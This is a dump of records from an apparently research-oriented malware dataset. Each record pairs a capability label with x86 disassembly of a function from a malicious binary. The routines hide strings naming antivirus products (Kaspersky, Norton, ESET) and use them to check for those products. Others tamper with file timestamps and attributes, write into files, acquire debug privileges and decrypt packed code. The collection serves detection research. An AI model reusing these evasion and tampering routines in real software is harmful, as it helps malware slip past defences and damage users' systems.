joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402951
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x40]
push eax
push 0
push 2
mov dword [ebp - 0x40], 0x33353936
mov dword [ebp - 0x20], 0x41444338
mov dword [ebp - 0x3c], 0x30364145
mov dword [ebp - 0x38], 0x3544382d
mov dword [ebp - 0x2c], 0x2d303137
mov dword [ebp - 0x34], 0x35342d46
mov dword [ebp - 0x28], 0x38463234
mov dword [ebp - 0x24], 0x45334445
mov dword [ebp - 0x30], 0x382d3932
call sub.KERNEL32.dll_OpenEventA
test eax, eax
je 0x4029b5
push eax
call sub.KERNEL32.dll_CloseHandle
mov al, 1
leave
ret
xor al, al
leave
ret

Function at 0x4029b9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x210]
push eax
push 0x80000002
xor ebx, ebx
mov dword [ebp - 0x204], 0x73726570
mov dword [ebp - 0x210], 0x54464f53
mov dword [ebp - 0x1f4], 0x65646c6f
mov dword [ebp - 0x20c], 0x45524157
mov dword [ebp - 0x200], 0x614c796b
mov dword [ebp - 0x1f0], 0x7372
mov dword [ebp - 0xfc], 0x36
mov dword [ebp - 0x10c], 0x3653494b
mov dword [ebp - 0x100], 0x534b5756
mov dword [ebp - 0x208], 0x73614b5c
mov dword [ebp - 0xf8], 0x36534b57
mov dword [ebp - 0x1fc], 0x65535c62
mov dword [ebp - 0xec], 0x53494b56
mov dword [ebp - 0x1f8], 0x46707574
mov dword [ebp - 0xf4], 0x34504d
mov dword [ebp - 0xe8], 0x3131
call fcn.00403713
test eax, eax
mov dword [ebp - 0x104], 0x414b0036
mov dword [ebp - 0x108], 0x56414b00
mov dword [ebp - 0xf0], 0x414b0000
jne 0x402ae0
push esi
push edi
xor edi, edi
lea esi, [ebp - 0x10c]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x314]
push eax
push 0
push 0
push esi
push dword [ebp - 4]
call fcn.0040372a
test eax, eax
je 0x402acd
inc edi
add esi, 5
cmp edi, 7
jl 0x402aa6
jmp 0x402ad6
xor ebx, ebx
cmp edi, 2
sete bl
inc ebx
push dword [ebp - 4]
call fcn.004036e5
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x402ae5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
lea eax, [ebp - 0x210]
push esi
xor ebx, ebx
push eax
mov dword [ebp - 0x204], ebx
mov dword [ebp - 0xf4], 0x46302d36
mov dword [ebp - 0x10c], 0x54464f53
mov dword [ebp - 0xd8], 0x7d37
mov dword [ebp - 0x208], 0x6578652e
mov dword [ebp - 0x104], 0x726f4e5c
mov dword [ebp - 0xe0], 0x31393546
mov dword [ebp - 0xf8], 0x39304335
mov dword [ebp - 0xf0], 0x342d4431
mov dword [ebp - 0xdc], 0x45363231
mov dword [ebp - 0xe8], 0x32414141
mov dword [ebp - 0x100], 0x5c6e6f74
mov dword [ebp - 0xec], 0x2d383246
mov dword [ebp - 0x310], 0x49544355
mov dword [ebp - 0xe4], 0x4535382d
mov dword [ebp - 0x30c], 0x44
mov dword [ebp - 0x20c], 0x74736863
mov dword [ebp - 0xfc], 0x3543307b
mov dword [ebp - 0x108], 0x45524157
mov dword [ebp - 0x314], 0x444f5250
mov dword [ebp - 0x210], 0x76736363
call fcn.00402733
mov esi, eax
pop ecx
lea eax, [ebp - 4]
push eax
push 1
lea eax, [ebp - 0x10c]
push ebx
push eax
push 0x80000002
call sub.ADVAPI32.dll_RegOpenKeyExA
test eax, eax
jne 0x402c19
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x210]
push eax
push ebx
lea eax, [ebp - 0x314]
push ebx
push eax
push dword [ebp - 4]
call fcn.0040372a
test eax, eax
jne 0x402c11
cmp esi, ebx
je 0x402c11
mov bl, 1
push dword [ebp - 4]
call fcn.004036e5
mov al, bl
pop esi
pop ebx
leave
ret

Function at 0x402c1f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
mov eax, 0x69737265
push ebx
mov dword [ebp - 0xec], eax
mov dword [ebp - 0x310], eax
push esi
lea eax, [ebp - 0x214]
push edi
xor ebx, ebx
push eax
mov byte [ebp - 1], bl
mov dword [ebp - 0xf0], 0x56746e65
mov dword [ebp - 0x10c], 0x45524157
mov dword [ebp - 0x20c], ebx
mov dword [ebp - 0x108], 0x4553455c
mov dword [ebp - 0xe4], 0x6f666e
mov dword [ebp - 0xfc], 0x72756365
mov dword [ebp - 0xf8], 0x5c797469
mov dword [ebp - 0xe8], 0x495c6e6f
mov dword [ebp - 0x314], 0x56746375
mov dword [ebp - 0x110], 0x54464f53
mov dword [ebp - 0x214], 0x69756765
mov dword [ebp - 0xf4], 0x72727543
mov dword [ebp - 0x30c], 0x6e6f
mov dword [ebp - 0x104], 0x53455c54
mov dword [ebp - 0x318], 0x646f7250
mov dword [ebp - 0x210], 0x6578652e
mov dword [ebp - 0x100], 0x53205445
call fcn.00402733
mov esi, eax
pop ecx
lea eax, [ebp - 8]
xor edi, edi
push eax
push 1
lea eax, [ebp - 0x110]
push ebx
push eax
push 0x80000002
call sub.ADVAPI32.dll_RegOpenKeyExA
test eax, eax
jne 0x402d82
cmp esi, ebx
jne 0x402d3f
cmp edi, 0x14
jg 0x402d3b
push 0x1f4
call fcn.0040393b
lea eax, [ebp - 0x214]
inc edi
push eax
call fcn.00402733
mov esi, eax
pop ecx
cmp esi, ebx
je 0x402d18
cmp esi, ebx
je 0x402d7a
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x214]
push eax
push ebx
lea eax, [ebp - 0x318]
push ebx
push eax
push dword [ebp - 8]
call fcn.0040372a
test eax, eax
jne 0x402d76
lea eax, [ebp - 0x214]
push 0x4053b4
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jl 0x402d7a
mov byte [ebp - 1], 1
push dword [ebp - 8]
call fcn.004036e5
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402d8a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
push ebx
push esi
lea eax, [ebp - 0x214]
push edi
xor ebx, ebx
push eax
mov byte [ebp - 1], bl
mov dword [ebp - 0xec], 0x73746e
mov dword [ebp - 0x100], 0x5c626557
mov dword [ebp - 0x108], 0x636f445c
mov dword [ebp - 0x20c], 0x6578652e
mov dword [ebp - 0xfc], 0x74736e49
mov dword [ebp - 0x110], 0x54464f53
mov dword [ebp - 0xf0], 0x656e6f70
mov dword [ebp - 0x210], 0x656e6967
mov dword [ebp - 0xf4], 0x6d6f4364
mov dword [ebp - 0x30c], 0x6e6f
mov dword [ebp - 0xf8], 0x656c6c61
mov dword [ebp - 0x314], 0x56746375
mov dword [ebp - 0x104], 0x20726f74
mov dword [ebp - 0x208], ebx
mov dword [ebp - 0x310], 0x69737265
mov dword [ebp - 0x214], 0x6e657764
mov dword [ebp - 0x318], 0x646f7250
mov dword [ebp - 0x10c], 0x45524157
call fcn.00402733
mov esi, eax
pop ecx
lea eax, [ebp - 8]
xor edi, edi
push eax
push 1
lea eax, [ebp - 0x110]
push ebx
push eax
push 0x80000002
call sub.ADVAPI32.dll_RegOpenKeyExA
test eax, eax
jne 0x402ee6
cmp esi, ebx
jne 0x402ea3
cmp edi, 0x14
jg 0x402e9f
push 0x1f4
call fcn.0040393b
lea eax, [ebp - 0x214]
inc edi
push eax
call fcn.00402733
mov esi, eax
pop ecx
cmp esi, ebx
je 0x402e7c
cmp esi, ebx
je 0x402ede
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x214]
push eax
push ebx
lea eax, [ebp - 0x318]
push ebx
push eax
push dword [ebp - 8]
call fcn.0040372a
test eax, eax
jne 0x402eda
lea eax, [ebp - 0x214]
push 0x4053b8
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jl 0x402ede
mov byte [ebp - 1], 1
push dword [ebp - 8]
call fcn.004036e5
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402eee
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x10c]
mov esi, 0x56414b00
push eax
push 0x80000002
xor bl, bl
mov dword [ebp - 0xf8], 0x65535c62
mov dword [ebp - 0x210], 0x3953494b
mov dword [ebp - 0x108], 0x45524157
mov dword [ebp - 0x20c], esi
mov dword [ebp - 0x100], 0x73726570
mov dword [ebp - 0x208], 0x494b0039
mov dword [ebp - 0x104], 0x73614b5c
mov dword [ebp - 0x1fc], 0x3753494b
mov dword [ebp - 0x1f4], 0x37
mov dword [ebp - 0x10c], 0x54464f53
mov dword [ebp - 0xfc], 0x614c796b
mov dword [ebp - 0xf4], 0x46707574
mov dword [ebp - 0x200], 0x385641
mov dword [ebp - 0xf0], 0x65646c6f
mov dword [ebp - 0xec], 0x7372
call fcn.00403713
test eax, eax
mov dword [ebp - 0x1f8], esi
mov dword [ebp - 0x204], 0x4b003853
jne 0x403026
push edi
mov dword [ebp - 8], 0x104
xor edi, edi
lea esi, [ebp - 0x210]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x314]
push eax
push 0
push 0
push esi
push dword [ebp - 4]
call fcn.0040372a
test eax, eax
je 0x402ff2
inc edi
add esi, 5
cmp edi, 6
jl 0x402fcb
jmp 0x402ff4
mov bl, 1
push dword [ebp - 4]
call fcn.004036e5
test bl, bl
pop edi
je 0x403026
lea eax, [ebp - 0x314]
push str._avp.exe
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x314]
pop ecx
push 5
push eax
call fcn.00403969
mov al, 1
jmp 0x403028
xor al, al
pop esi
pop ebx
leave
ret
Function at 0x40302c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], 0x6069645f
mov dword [ebp - 0xc], 0x7e585360
mov dword [ebp - 8], 0x625b756d
mov dword [ebp - 4], 0xc0c0c68
xor eax, eax
xor byte [ebp + eax - 0x10], 0xc
inc eax
cmp eax, 0x10
jl 0x403050
lea eax, [ebp - 0x10]
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x40307f
movzx ecx, byte [ebp + 8]
push 0
push ecx
push 0xb
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov al, 1
leave
ret
xor al, al
leave
ret

Function at 0x403100
Capabilities:
Encode data using xor

Disassembly:
xor edx, edx
cmp dword [esp + 0xc], edx
jle 0x403123
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push ebx
mov bl, dl
inc bl
xor bl, byte [ecx]
mov byte [eax], bl
inc eax
inc ecx
inc edx
cmp edx, dword [esp + 0x10]
jl 0x403111
pop ebx
ret 0xc

Function at 0x403126
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
lea eax, [ebp - 0x2c]
push edi
push eax
mov dword [ebp - 0x2c], 0x4356534d
mov dword [ebp - 0x28], 0x642e5452
mov dword [ebp - 0x24], 0x6c6c
mov dword [ebp - 0x18], 0x6c65745f
mov dword [ebp - 0x14], 0x6c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor ebx, ebx
cmp eax, ebx
je 0x40324d
lea ecx, [ebp - 0x18]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x40324d
mov edi, dword [ebp + 8]
mov esi, dword [sym.imp.MSVCRT.dll__lseek]
push 2
push ebx
push edi
call esi
push edi
call dword [ebp - 8]
add esp, 0x10
cmp eax, 0x2000
jle 0x4031a9
cmp eax, 0x100000
jge 0x4031a9
add eax, 0xffffe000
push ebx
push eax
jmp 0x4031ab
push ebx
push ebx
push edi
call esi
add esp, 0xc
push edi
call dword [sym.imp.MSVCRT.dll__eof]
test eax, eax
pop ecx
jne 0x403253
mov ebx, 0x406988
push edi
call dword [ebp - 8]
and byte [ebp - 1], 0
mov dword [ebp + 8], eax
lea eax, [ebp - 1]
push 1
push eax
push edi
call dword [sym.imp.MSVCRT.dll__read]
movsx eax, byte [0x406988]
movzx ecx, byte [ebp - 1]
add esp, 0x10
cmp ecx, eax
jne 0x40323a
push edi
call dword [ebp - 8]
push 0
mov dword [ebp - 0xc], eax
push dword [ebp + 8]
push edi
call esi
push 0x32
lea eax, [ebp - 0x60]
push 0
push eax
call sub.MSVCRT.dll_memset
push ebx
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x60]
push eax
push edi
call dword [sym.imp.MSVCRT.dll__read]
lea eax, [ebp - 0x60]
push ebx
push eax
call sub.MSVCRT.dll_strcmp
add esp, 0x34
test eax, eax
je 0x403248
push 0
push dword [ebp - 0xc]
push edi
call esi
add esp, 0xc
push edi
call dword [sym.imp.MSVCRT.dll__eof]
test eax, eax
pop ecx
je 0x4031c6
jmp 0x403253
push 1
pop eax
jmp 0x403255
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40325c
Capabilities:
Set file attributes

Disassembly:
sub esp, 0x4a8
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov ebx, ecx
push 0x4a8
push eax
push ebx
call fcn.00403100
mov ebp, dword [esp + 0x4bc]
push 0x80
push ebp
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edi, dword [sym.imp.MSVCRT.dll__open]
push 0x8002
push ebp
call edi
mov esi, eax
pop ecx
cmp esi, 0xffffffff
pop ecx
jne 0x4032b7
push 0x8102
push ebp
call edi
mov esi, eax
pop ecx
cmp esi, 0xffffffff
pop ecx
jne 0x4032b7
xor eax, eax
jmp 0x403301
push esi
mov ecx, ebx
call fcn.00403126
mov edi, dword [sym.imp.MSVCRT.dll__write]
test eax, eax
jne 0x4032dc
mov ebx, 0x406988
push ebx
call sub.MSVCRT.dll_strlen
push eax
push ebx
push esi
call edi
add esp, 0x10
lea eax, [esp + 0x10]
push 0x4a8
push eax
push esi
call edi
push esi
call dword [sym.imp.MSVCRT.dll__close]
push ebp
push 0x406980
call fcn.00403677
add esp, 0x18
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4a8
ret 4

Function at 0x40330e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a8
push ebx
push esi
mov esi, 0x4a8
push edi
mov edi, ecx
push esi
push 0
push edi
call sub.MSVCRT.dll_memset
push 0
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__open]
mov ebx, eax
add esp, 0x14
cmp ebx, 0xffffffff
jne 0x403343
xor eax, eax
jmp 0x403382
push ebx
mov ecx, edi
call fcn.00403126
test eax, eax
jne 0x403353
xor esi, esi
jmp 0x403378
lea eax, [ebp - 0x4a8]
push esi
push eax
push ebx
call dword [sym.imp.MSVCRT.dll__read]
add esp, 0xc
lea eax, [ebp - 0x4a8]
mov ecx, edi
push esi
push edi
push eax
call fcn.00403100
push 1
pop esi
push ebx
call dword [sym.imp.MSVCRT.dll__close]
pop ecx
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x403677
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
push 6
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x80
push 3
push 0
push 1
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov eax, 0x3859e000
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
mov ecx, 0x1bf5b62
push eax
push esi
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x4017d0
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x431008], 0x8088405
inc edx
mov dword [ebx + 0x431008], edx
mul edx
mov eax, edx
pop ebx
ret
Function at 0x41c6d8
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
push edi
mov edi, eax
or ebx, 0xffffffff
mov eax, edi
call fcn.004025b8
dec eax
test eax, eax
jl 0x41c70c
inc eax
xor esi, esi
mov dl, byte [edi + esi]
xor dl, bl
and edx, 0xff
mov edx, dword [edx*4 + 0x4345a4]
shr ebx, 8
xor edx, ebx
mov ebx, edx
inc esi
dec eax
jne 0x41c6ef
xor ebx, 0xffffffff
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x41e968
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
add esp, 0xffffffd0
lea eax, [esp + 4]
push eax
push 0x20
call fcn.0041c768
push eax
call fcn.0041c760
lea eax, [esp + 8]
push eax
push 0x41ea04
push 0
call fcn.0041c770
mov eax, dword [esp + 8]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], 1
xor ebx, ebx
mov dword [esp + 0x2c], ebx
push esp
lea eax, [esp + 0x14]
push eax
push 0x10
lea eax, [esp + 0x2c]
push eax
push 0
mov eax, dword [esp + 0x18]
push eax
call fcn.0041c778
mov eax, dword [esp + 8]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], 1
or ebx, 2
mov dword [esp + 0x1c], ebx
push esp
push 0
mov eax, dword [esp + 8]
push eax
lea eax, [esp + 0x1c]
push eax
push 0
mov eax, dword [esp + 0x18]
push eax
call fcn.0041c778
add esp, 0x30
pop ebx
ret

Function at 0x426894
Capabilities:
Parse pe header

Disassembly:
push ebx
push esi
xor ebx, ebx
mov ecx, eax
mov ax, word [ecx]
not ax
cmp ax, 0x5a4d
je 0x4268d5
mov eax, ecx
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov esi, eax
push 0xf8
push esi
call fcn.004038a0
test eax, eax
jne 0x4268d5
cmp dword [esi], 0x4550
jne 0x4268d5
mov bl, 1
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x437d40
Capabilities:
Get hostname

Disassembly:
sub esp, 0x414
mov eax, dword [0x43f004]
xor eax, esp
mov dword [esp + 0x410], eax
cmp edi, 0x182
jne 0x437d76
push 0
push 0
push 0
push str.rijetinibahelohahuluru
push str.mifehiduwacirutadalorimadiwim
push 0
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
jmp 0x437da0
cmp edi, 0x19f
jne 0x437da0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push esi
xor esi, esi
test edi, edi
jle 0x437e22
jmp 0x437db0
lea ecx, [esp + 0xc]
mov dword [esp + 4], 5
mov dword [esp + 0xc], 0
call fcn.00437d30
mov eax, dword [esp + 0xc]
add eax, 0x46
mov dword [esp + 4], eax
sub dword [esp + 4], 0x46
movsx eax, byte [ebx + esi]
mov dword [esp + 8], eax
mov eax, dword [esp + 4]
xor dword [esp + 8], eax
mov cl, byte [esp + 8]
mov byte [ebx + esi], cl
cmp edi, 0xf
jne 0x437e1d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
inc esi
cmp esi, edi
jl 0x437db0
pop esi
cmp edi, 0x2d
jne 0x437e3c
mov dword [0x2b3f218], 0xa62e7790
mov dword [0x2b3f21c], 0xffffffff
mov ecx, dword [esp + 0x410]
xor ecx, esp
call fcn.00401006
add esp, 0x414
ret
Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43200c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x432030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x43d0ba
Capabilities:
Encode data using xor

Disassembly:
sub eax, 0x931659ec
adc bh, byte [eax - 0x4e]
sysret
pushal
dec edi
jg 0x43d107
cmp ah, byte [edx + 0x12ece35e]
cmp eax, 0x49ff2614
lodsb al, byte [esi]
pop eax
fisubr word [eax]
and al, 0x3d
add al, 0x9e
cmp al, 0x61
push eax
cmp ch, byte [esi - 0x69]
out 0xfe, eax
pop ebp
jo 0x43d07d
ficom word [esi + 0x55]
jae 0x43d160
xchg ecx, eax
push edi
jp 0x43d14d
adc dword [edx - 0x47], esp
push cs
ret
xchg esi, eax
push ss
and ch, byte [ecx]
sub al, 3
or dword [eax], edx
cli
invalid
adc eax, 0xf1f04566
adc edi, esi
pop ss
fisttp dword gs:[edx + 0x424237ac]
enter 0x5c98, 7
into
sbb dh, byte [edx]
push es
add byte [ebp + ebx*4 + 0x44], ah
mov bl, 0x37
fdiv dword [edx]
push esp
push esi
adc eax, 0xfc1f3592
jae 0x43d13b
inc ebx
xor eax, 0x4638cd57
pop esi
insd dword es:[edi], dx
lds ecx, [ecx + 0x75]
mov bl, 0x56
jne 0x43d0f0
push esi
inc eax
dec edi
mov dl, 0xab
sti
inc esp
hlt
adc dword [edx], edx
add esi, dword [ecx + 0x37]
adc byte [ecx + esi], dh
jno 0x43d0ec
mov bh, 0xff
daa
aad 0x13
bound ebp, qword [eax]
adc dword [edi + 0x55], edx
out 0x55, eax
xor esi, dword [ecx + 0x30b6b82c]
invalid

Function at 0x454306
Capabilities:
Encode data using xor

Disassembly:
stc
mov esi, 0x7647d47c
mov edx, 0xa253597c
pop es
out dx, al
mov dh, 0xb8
pop ecx
adc esi, dword [ecx - 0x2b9a2781]
cmp al, 0x42
jbe 0x454364
invalid
mov eax, dword [0x8f654e0e]
add al, 0xc5
aam 0x78
mov edi, dword [esi]
imul dword [eax - 0x425c468a]
arpl word [esi], cx
push ebp
dec edx
fstp qword [ebx - 0x66]
sub eax, 0x98ba2677
out dx, al
push edi
shl esp, 1
outsd dx, dword [esi]
mov dh, ch
sub eax, dword [ebp + 0x42933cd6]
mov dword [0x657c50de], eax
mov ebx, 0x5642c2ca
jnp 0x454405
xor esp, dword [edi]
cmp al, al
shl byte gs:[ebx + 0x70], 1
or dword [ebx], edx
sti
cwde
mov byte [edi], dl
or eax, 0xce515410
imul ebp, esp, 0xffffff8b
loopne 0x4543fb
pop ebx
pop ecx
xchg ebp, ebx
leave
in al, dx
add bh, byte [edx]
pop esi
sbb ecx, dword [edi]
fisttp dword [ebp - 0x630f78e8]
pushfd
and dword [eax - 0x29], esi
inc esp
popfd
ret
aas
inc edi
cmp bh, byte [ebp + 0x6e]
mov dword [0x82563bde], eax
jns 0x4543c4
nop
push ss
lahf
mov word [esi], ds
js 0x4543cf
sbb byte [0x13eaad42], cl
ret 0x78d7
in eax, dx
or al, 0x28
int1
movsb byte es:[edi], byte [esi]
pop ebx
sbb dword [edx - 0x5b3711aa], 0x48
out dx, eax
enter 0x48a4, 0xffffffffffffffef
fsubr st(7)
rcl dword [esi + 0x7b], 0xa0
leave
ja 0x454475
movsb byte es:[edi], byte [esi]
loopne 0x4543e8
jge 0x4543db
mov eax, dword [0xb1e2291f]
jg 0x454431
pop ds
sub edx, esp
mov cl, 0x7f
adc edx, ecx
je 0x454442
sal dword [ecx - 0x6c], 1
xchg esp, eax
add dword [ecx + ebx*4 + 0x616d5055], esi
cmp ah, bl
xor al, 0x48
pop esp
stosd dword es:[edi], eax
loopne 0x454418
invalid
mov byte [eax - 0x4f], ch
pop eax
mov ds, word [ebp + 0x3daeaeb2]
mov edx, 0x2d6c9d3d
cmp al, 0xa0
push es
stc
ret
ret 0x7a64
Function at 0x56753a
Capabilities:
Authenticate hmac

Disassembly:
invalid
jl 0x567573
mov ah, 0x68
add al, 0x15
cdq
adc ecx, 0xef36bc88
jbe 0x567527
jno 0x567563
add al, 0x15
cmp al, 0xed
lcall 0xf707, 0xfb48a67a
popal
inc eax
fldenv [ebx + 0x36]
push ecx
in al, dx
mov dword [0x98f00b95], eax
xchg ebp, eax
adc bl, bl
pop ebp
inc edx
mov ss, word [edx + eax*8 + 0x5c]
mov ah, 0x44
jmp 0x5675c4
invalid
xchg edx, eax
iretd
add eax, 0x1b640c5
cmc
jne 0x5675b6
xchg esp, eax
cmc
ret 0x7df6
dec ebp
aam 0xe0
jl 0x567619
lds eax, [ecx + 0x1ba9fe61]
pop esi
or dword [esi + esi*2], 0x36
jbe 0x5675fc
test byte [edi + 0x52402180], bl
push ds
aam 0xef
out dx, eax
movsb byte es:[edi], byte [esi]
xor eax, 0xb21fb907
fdiv st(6), st(0)
cmp dword [edx - 0x5e], 0x6e
jl 0x5675df
xchg esi, eax
mov ecx, 0x829ac56d
jno 0x567588
outsd dx, dword [esi]
int3
js 0x5675ce
daa
xor eax, 0xb2c862dc
not byte [ebp + ebx*4 - 0x48b0b0e4]
stosb byte es:[edi], al
sbb dword [esi - 0x58], esi
cmc
xchg esp, eax
or byte [edi], dl
xor al, ch
mov byte ds:[0x5a5a4fe9], al
pop edx
pop edx
and dword [edi + 0x182a06ba], ecx
popfd
pop ebp
jne 0x56764a
invalid
invalid
imul ecx, dword [edx], 0x5c
cmp byte [ebx], cl
push ecx
xchg byte [edi], bl
test al, 0x65
arpl word [ebp + 0x29f2cae0], sp
nop
ror al, cl
and ah, ch
popal
std
add edi, dword [edi + 0x85ab334]
xchg dx, ax
stosb byte es:[edi], al
push esi
pop ebp
jl 0x567681
mov bl, 0xb1
leave
push 0xffffffffffffffe2
into
or eax, 0x512142a3
mov eax, 0xf54b5757
retf 0x2bec
sub ebp, edx
out 0x9b, eax
jl 0x5676d7
sahf
adc eax, 0x38f23b4b
mov esi, 0xaec9e4e1
scasb al, byte es:[edi]
mov esp, 0xca688449
fistp qword [esi + ecx + 7]
test al, 0xd1
pop ebp
or al, byte [eax - 0x40]
jno 0x5676c7
inc esi
xchg esp, eax
aas
lodsb al, byte [esi]
loop 0x56762a
xchg esp, eax
int1
add eax, 0x20508bc5
xchg ebx, eax
imul esp, ebp, 0x77
jno 0x5676c9
sub dword [edx], edi
mul dword [esi - 0x398e5a09]
xchg byte [edx - 0x7a], dh
insb byte es:[edi], dx
dec esi
pop esp
lodsd eax, dword [esi]
into
and byte [edx], al
test al, bh
add al, byte [eax + edi*8 + 0x139291d8]
rcl dword [ebx + 0x1d7c12b0]
clc
fcom dword [ecx - 0x2e0dec6e]
xchg ebx, eax
mov al, 0x12
jl 0x5676f2
dec edx
jecxz 0x567716
arpl word ds:[edi + edx*2 + 0xbeca35a], bp
arpl word [edi + edx*2 + 0xbeca35a], bp
jno 0x56773d
dec esi
add ah, ah
and ecx, dword fs:[esi - 0x659a9d76]
invalid
mov ah, byte [edx + 0x65]
lcall 0xc366, 0x9c54f064
sbb byte [edx + esi*2 - 0x6689610e], 0x62
fmul st(4), st(0)
out 0x32, eax
inc edi
cwde
out 0xc8, eax
movups xmm3, xmmword [ebp + edi*2 - 0x6f]
sub ebx, dword [eax - 0x247efe44]
push eax
cmpsb byte [esi], byte es:[edi]
mov ebp, 0x5289bab4
mov ebp, 0xfe99a709
pop ebx
in al, 0x7e
jmp 0x87ceef2b
pushfd
jb 0x5676e7
sahf
jbe 0x567691
invalid
cdq
invalid
cld
cwde
movsb byte es:[edi], byte [esi]
das
mov ecx, 0xb7dd86f7
invalid